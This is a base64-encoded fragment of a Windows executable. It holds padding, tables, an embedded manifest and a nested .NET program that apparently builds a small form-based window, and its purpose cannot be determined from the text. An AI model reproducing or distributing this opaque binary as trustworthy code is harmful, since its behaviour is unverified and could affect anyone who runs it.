AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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D30Pfg9/D0APgQ+CD4MPhA+FD4YPhw+ID4kPig+LD4wPjQ+OD48PkA+RD5IPkw+UD5UPlg+XD5gPnA+eD58PoA+hD6IPow+kD6UPpg+nD6oPnA/dD8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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